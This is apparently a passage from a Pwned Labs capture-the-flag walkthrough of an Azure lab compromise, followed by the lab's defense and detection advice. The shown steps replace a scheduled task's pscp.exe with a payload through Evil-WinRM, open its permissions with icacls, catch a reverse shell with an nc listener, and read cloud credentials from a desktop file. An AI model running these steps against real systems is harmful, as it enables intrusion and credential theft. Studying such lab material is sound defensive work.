*Evil-WinRM* PS C:\DownloadSecurityReports> rm pscp.exe
*Evil-WinRM* PS C:\DownloadSecurityReports> upload /home/kali/pwnedlabs/azure/foothold.exe pscp.exe
Info: Uploading /home/kali/pwnedlabs/azure/foothold.exe to C:\DownloadSecurityReports\pscp.exe
Data: 21230932 bytes of 21230932 bytes copied
Info: Upload successful!
Now we have to make sure everyone has access to the file
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\DownloadSecurityReports> cmd /c "icacls pscp.exe /grant Everyone:(RX)"
processed file: pscp.exe
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\DownloadSecurityReports> cmd /c "icacls.exe pscp.exe"
pscp.exe Everyone:(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
After few minutes, we receive connection, which confirms that binary was run as a scheduled task
1
2
3
4
5
6
7
8
9
10
11
12
root@ip-172-31-21-144:/home/ubuntu# nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 20.127.161.82 65351
Microsoft Windows [Version 10.0.20348.2762]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
security-direct\james_local
C:\Windows\system32>
Let’s check out common locations that the user could save files, like their desktop. We see a login.txt
with cloud credentials for the International Asset Management security director
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\Users\james_local\Desktop>dir
dir
Volume in drive C is Windows
Volume Serial Number is BE2B-CC38
Directory of C:\Users\james_local\Desktop
11/06/2024 11:52 PM <DIR> .
11/02/2024 01:07 AM <DIR> ..
11/03/2024 12:51 AM 32 flag.txt
11/03/2024 12:56 AM 46 login.txt
11/06/2024 11:50 PM <DIR> M365BaselineConformance
11/06/2024 11:48 PM 430,236 M365BaselineConformance.zip
11/06/2024 11:50 PM 2,319 Microsoft Edge.lnk
4 File(s) 432,633 bytes
3 Dir(s) 119,532,945,408 bytes free
C:\Users\james_local\Desktop>type login.txt
type login.txt
james.brandt@international-am.com
<REDACTED>
Attack path
Attack path visualization created by Mathias Persson for Pwned Labs
Defense
This section is from Walkthrough section of the lab.
For prevention, International Asset Management (and their MSSP Mega Big Tech) could require all logins to come from Azure managed devices. The token protection conditional access policy could also be enabled, that binds a user’s refresh token to a particular managed device.
Also, we can choose to disable the device code authentication flow or authentication transfer using conditional access
The security awareness team could highlight the danger of attacks such as these, where the “phishing page” is a legitimate Microsoft login page. Ultimately, it is best to design systems that don’t rely on users making good trust decisions. Note that the compromised user had a strong password and also had MFA enabled, and provided these details when logging in. This is a very dangerous phishing technique.
In terms of detection, in the non-interactive sign-in logs we see the activity details below for the compromised user. Anomymous user agents could be alerted on, but this can be easily spoofed. If a company doesn’t use the device code authentication flow (or only certain users are expected to use this authentication flow) then this can be alerted on.
Also, we can set alerts for interactive user logins that use the Device Code
authentication protocol with a Client ID of Microsoft Office
Note that threat actors could instead specify the Microsoft Azure CLI client ID, and blend in with legitimate requests.
Useful links:
- https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection
- https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
- https://aadinternals.com/post/phishing/